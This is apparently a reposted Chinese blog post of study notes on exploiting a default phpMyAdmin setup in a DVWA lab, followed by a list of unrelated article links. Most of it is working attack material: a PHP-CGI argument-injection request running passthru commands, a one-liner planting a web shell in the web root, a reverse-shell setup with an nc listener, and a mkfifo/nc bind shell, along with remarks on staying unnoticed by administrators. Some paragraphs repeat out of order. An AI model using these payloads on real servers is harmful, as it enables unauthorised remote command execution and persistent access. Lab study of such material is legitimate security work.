关于phpMyAdmin默认安装漏洞的学习笔记
来源:互联网 发布:资源管理系统源码 编辑:程序博客网 时间:2024/05/03 00:43
简单地说,phpMyAdmin是安装在Web服务器上的接口界面,主要用于使用php来管理安装在服务器上的后台数据库。在老的版本中,若管理员没有对相应配置信息进行处理的话就会导致漏洞的存在。在dvwa中phpMyAdmin的默认安装中会存在漏洞,用户可以在路径中不需要输入账号密码就可以直接访问其中的phpMyAdmin/setup目录:
http://10.10.10.137/phpMyAdmin/setup
上述URL中的代码主要是修改php的主配置文件php.ini,从而可以执行下面插入的php代码;在php代码中,passthru()函数会执行里面的操作系统执行并显示出来,die()函数则会将无关的页面返回信息终止掉、方便查看结果信息。这样的方法并不会在服务器中保存任何文件,只是代码执行之后就把结果返回过来。
但是不好的地方就是在服务器中生成一个文件,容易被管理员发现。
这样的好处在于不会在服务器写文件,因而更为隐蔽。
http://10.10.10.137/phpMyAdmin/setup
利用:
直接利用漏洞执行php中的系统命令返回结果:
可以在Burpsuite中将下列代码上传:
POST http://10.10.10.137/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:10.10.10.137Content-Length: 34<?phppassthru('pwd');die();?>
上述URL中的代码主要是修改php的主配置文件php.ini,从而可以执行下面插入的php代码;在php代码中,passthru()函数会执行里面的操作系统执行并显示出来,die()函数则会将无关的页面返回信息终止掉、方便查看结果信息。这样的方法并不会在服务器中保存任何文件,只是代码执行之后就把结果返回过来。
加了die()函数:
不加die()函数:
这里将一下在PHP中system(),exec(),passthru()这三个相似的函数,它们都可以调用外部系统命令,但有点小区别:
system():直接输出所有结果并返回最后一行shell结果。
exec():不输出所有结果而是显示结果的最后一行,所有结果可以保存到一个返回的数组里面。
passthru():把命令执行的所有结果直接输出。向服务器中写文件:
在前面代码中passthru()函数里面的内容可以替换为:
echo "<?php \$cmd=\$_GET["cmd"]; system(\$cmd); ?>" > /var/www/cmd.php
上面代码中的反斜杠用于转义。整个代码可以实现将php代码保存到服务器的Web根目录中从而能够通过访问该目录的文件来实现输入命令:
但是不好的地方就是在服务器中生成一个文件,容易被管理员发现。
通过php-reverse-shell.php的php反弹shell:
文件在Kali的/usr/share/webshells/php/php-reverse-shell.php
先复制出来修改里面反弹的IP地址为Kali的IP,端口也可以修改:
然后将整个php代码覆盖掉:
在Kali中nc开启监听1234端口,然后发送该POST请求,直接看到反弹的shell:
这样的好处在于不会在服务器写文件,因而更为隐蔽。
服务器主动打开监听端口:
还可以将PHP内容改为让服务器主动打开端口监听从而get shell:<?phpecho system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');?>
其中mkfifo命令创建一个FIFO文件,即命名管道;将sh即shell读取到新建的命名管道中并通过nc监听再重定向到该命名管道中,即将在监听端口接收到的命令重定向到命名管道中的sh进行执行。
然后再Kali中直接通过nc连接get shell:
输入查看进程的命令:ps aux
可查看到开启了4444端口的监听,也就是说会容易被发现:
接着输入:netstat -pantu
可看到4444端口是和IP为10.10.10.151的主机进行监听连接的:
暂且这么点,有新的学习体会便更新~
0 0
- 关于phpMyAdmin默认安装漏洞的学习笔记
- PHP学习笔记(3)----phpmyadmin的安装与使用[原创]
- 关于DOM型XSS漏洞的学习笔记
- CentOS安装phpMyAdmin笔记
- phpMyAdmin学习笔记
- 关于本地提权的学习笔记(二):注入进程和利用漏洞提权
- 关于PHPMYADMIN安装之后的一点小补充
- 关于linux安装phpMyAdmin的JSON和mbstring问题
- 关于Yeoman安装的学习笔记
- LINUX phpMyAdmin的安装
- 安装phpmyadmin的注意事项
- phpmyadmin的安装 [ Ubuntu ]
- phpmyadmin的安装配置
- phpmyadmin的安装配置
- LINUX phpMyAdmin的安装
- phpMyAdmin的安装配置
- phpMyAdmin的安装
- phpMyAdmin的安装配置
- android:getSystemService详解
- js数组的常用方法
- Leetcode #167 Two Sum II
- extjs 6.2 熟悉开发环境 hello world
- Vulkan编程指南翻译 第四章 队列和命令 第5节 复制压缩图像数据
- 关于phpMyAdmin默认安装漏洞的学习笔记
- [BZOJ1441]Min(数论)
- iBET Online Casino Bonus Poker Game Card Lucky Draw(iBET, iBET Online Casino)
- hadoop第二坑 fs
- C语言程序现代设计方法---第12章:指针和数组
- 【纯新手】虚拟机安装kali教程
- JS自动识别移动端和PC端,分配二级域名
- nodejs实现表单数据的提交
- 20170226C++项目班08_修复bug/函数添加